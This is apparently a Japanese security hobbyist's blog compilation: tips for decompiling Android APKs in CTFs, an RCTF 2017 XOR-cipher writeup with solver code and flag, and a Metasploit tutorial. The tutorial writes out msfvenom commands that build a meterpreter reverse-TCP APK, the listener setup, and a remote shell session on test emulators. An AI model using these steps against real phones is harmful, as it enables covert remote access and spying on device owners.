CTF Android問に強くなる

はじめに

研究でAndroid系扱っているのにCTFでAndroid問が解けないので強くなりたい.... ついでにAndroid問を解くために準備しておくとよいものと私のいつものやり方(デコンパイル)を載せておきます

このページは私が見つけたAndroid問をひたすらのっけるだけ、Writeupは出来たやつからリンクをはる

Jewelはksnctfの問題なのでWriteupは載せません

問題一覧

Android CTF問を解くのに必須なもの

Android CTF問を解くのにあるとよいもの

Android CTF問でやること

apkの中身を見れるようにする

まずは配られたapkの中身を見れるようにします。

このときに使うのがapktoolunzip

apkはzipファイルなのでjavaソースコードだけでいい場合はunzipでいいです。

ただしunzipではAndroidManifestファイルが見れないのでそういうときはapktoolを使うようにしています。

$ unzip test.apk
$ apktool d test.apk

こんな感じで使います。

apkの構成は以下のようになっています。unzipを使ったときは以下の構成になっていると思います。

apktoolだとclasses.dexファイルがなくてその代わりにsmaliファイルがあります。

$ ls
AndroidManifest.xml # マニフェストファイル
META-INF/ # 署名
assets/ # アプリで必要になるデータ等がある
classes.dex # Javaのソースコード
res/ # アイコンとかのリソースが入っている
resources.asrc

dexファイルをjavaで見れるようにする

ソースコードが見れれば解けるような問題もあります。ということでdexファイルをjavaで見れるようにします

dex2jarを使うとアプリで使われているclassファイルが出てきます。あとはそれをjadを用いて見れるようにします。

基本的にはMainActivity.classが必ずあるのでそれをjadで見て、後は必要に応じてjadを使っていけばいいと思います。 MainActivity.classがどこにあるのかはfind ./ -name MainActivityとかでどうぞ

$ dex2jar classes.dex
$ jad ./***/***/MainActivity.class

apkファイルが配られたらとりあえずやることはこんな感じになると思います。

RCTF 2017 Writeup(供養)

RCTF2017にチーム:Harekazeの一員として参加してました。チームとしては8問解き2060点、そのうち1問を私が解きました。

[Misc] baby enc 434pts

baby_enc.zip

unzipするとOutuput.txtとenc.pyが渡される

hintにWindowsでやらないと結果が少し違うみたいなことが書かれてあるのでWindowsスクリプトを組む

enc.pyの中身は

import codecs
def enc(s, t):
    if t:
        l = list(map(ord, s))
        return enc(''.join(list(map(chr, [l[i]^l[i+1] for i in range(len(l)-1)]))), t-1)
    else:
        return s

with open('in.txt') as f:
    s = enc(f.read(), 5)
with open('out.txt', 'w') as f:
    f.write(s)

となっており、in.txtの中身を暗号化してout.txtに出力している。

この暗号化一見復号は無理そうだが、flagに限ってのみ復号が可能である。

最終的な出力結果についてだが入力をl[]の配列とすると

return s = [l[0]^l[4]^l[1]^l5], l[1]^l[5]^l[2]^l[6], .....]

のようになる。flagの形式がRCTF{…..}でRCTF{のここから5文字がわかることにより

l[0] = R
l[4] = {
l[1] = C
l[5] = ?

のように考えればl[5]がわかる。l[5]がわかればl[6]がわかる。最後に}が現れることを考えてコードを組む。

あとはどこからRCTFの文字列が始まるかを探すだけだがそれは総当りしておけば良い

そんなわけでソルバ

import codecs

def enc(s, t):
    if t:
        l = list(map(ord, s))
        return enc(''.join(list(map(chr, [l[i]^l[i+1] for i in range(len(l)-1)]))), t-1)
    else:
        return s


tmp=""
with open('out.txt','r') as f:
    tmp=f.read()
test = list(map(ord,tmp))
for i in range(len(test)-5):
    lis = list(map(ord,"RCTF{"))
    tmpi = i
    for j in range(len(test)-5-i):
        tmp = lis[j]^lis[j+1]^lis[j+4]^test[tmpi]
        tmpi+=1
        if chr(tmp) == "}":
            lis.append(tmp)
            print(str(i)+" results: "+''.join(map(chr,lis)))
            break
        elif chr(tmp) == "\n":
            break
        elif tmp < 43:
            break
        else:
            lis.append(tmp)

変数名の付け方はひどいが気にするな!!

flag:RCTF{te1l_mE_tHe_wAy_you_so1ve_thIs}

Metasploitを用いたAndroidの覗き見

はじめに

この記事は遠隔操作を推奨するものではありません。またこの記事を見た個人が何をしようとその責任は持ちません。

要はこういう技術はあるけど悪用すんなって話で、かつこのようにすれば覗き見られる可能性があるためその警鐘を鳴らす意味合いの記事です。

怪しいアプリ、信頼できないアプリはインストールしない!

必要なもの

環境

計算機 バージョン等
OS Ubuntu 14.04 64bit
Metasploit Version 4.12.22

手順

  • AndroidにインストールするAPKの作成
  • 計算機で遠隔操作の待受
  • Androidに上述したAPKのインストールと起動
  • 計算機からの遠隔操作

AndroidにインストールするAPKの作成

$ ip a
(snip)
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether bc:5f:f4:5b:1c:e7 brd ff:ff:ff:ff:ff:ff
    inet 192.33.18.170/24 brd 192.33.18.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::be5f:f4ff:fe5b:1ce7/64 scope link 
       valid_lft forever preferred_lft forever
(snip)

IP addres=192.33.18.170ポートは使用されていないポートを適当に使いましょう。今回はPORT = 443とします。

# msfvenom -p /android/meterpreter/reverse_tcp LHOST=(your ip addres) LPORT=(your port) R > hack.apk

AndroidにインストールするAPKを作成します。私の場合だとこうなります。

# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.33.18.170 LPORT=443 R > hack.apk

msfpayloadコマンドだと下記のようになります。

# msfpayload android/meterpreter/reverse_tcp LHOST=192.33.18.170 LPORT=443 R > hack.apk

計算機で遠隔操作の待受

作成したアプリを起動すると接続が始まるので、待ち受ける必要があります。 LHOSTとLPORTは環境に合わせて変えてください

# msfconsole

       =[ metasploit v4.12.22-dev-03e14ec                 ]
+ -- --=[ 1577 exploits - 906 auxiliary - 271 post        ]
+ -- --=[ 455 payloads - 39 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp 
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.33.18.170
LHOST => 133.68.18.170
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.33.18.170:443 
[*] Starting the payload handler...

これで待ち受けは完了です。Androidで作成したAPKを起動することで遠隔操作可能となります。

AndroidへのAPKのインストールと起動

adbを用いてインストールします。

$ adb install hack.apk

インストールしたらAndroid(Emulator)端末にMainActivityというアプリがあるのでそれを起動します。 すると計算機のコンソールのほうが

[*] Sending stage (63234 bytes) to 192.33.18.170
[*] Meterpreter session 1 opened (192.33.18.170:443 -> 192.33.18.170:45939) at 2017-05-18 20:01:07 +0900

meterpreter >

となります。この状況でsysinfoと打ち込むと

meterpreter > sysinfo
Computer    : localhost
OS          : Android 7.1.1 - Linux 3.10.0+ (i686)
Meterpreter : java/android

このようにandroidの情報が入手できます。

shellと打ち込むとAndroidのシェルに入ることができます。

meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=10076(u0_a76) gid=10076(u0_a76) groups=10076(u0_a76),3003(inet),9997(everybody),50076(all_a76) context=u:r:untrusted_app:s0:c512,c768
ls
ls: .: Permission denied

idがアプリのidとなるのでパーミッションが適切に設定されているAndroid7.1.1ではlsすら拒絶されました。

ちなみにAndroid Emulator 4.4.2で試したところlsコマンドで何があるか確認できました。

わかりにくいので自分で打ったコマンドの前には$をつけました。実際はないです。

meterpreter > sysinfo
Computer    : localhost
OS          : Android 4.4.2 - Linux 3.10.0+ (i686)
Meterpreter : java/android
meterpreter > shell
Process 1 created.
Channel 1 created.
$ id
uid=10089(u0_a89) gid=10089(u0_a89) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50089(all_a89)
$ ls
acct
cache
config
d
data
default.prop
dev
etc
file_contexts
fstab.goldfish
fstab.ranchu
init
init.environ.rc
init.goldfish.rc
init.ranchu.rc
init.rc
init.trace.rc
init.usb.rc
mnt
proc
property_contexts
root
sbin
sdcard
seapp_contexts
sepolicy
storage
sys
system
ueventd.goldfish.rc
ueventd.ranchu.rc
ueventd.rc
vendor
$ cd sdcard
$ touch test.txt
$ ls
test.txt

sdcardのwビットが立ってたみたいで書き込みもできました。

Android7と4ではパーミッションが大きく変わっていることを初めて知りました。

最後に

怪しいアプリはインストールしない!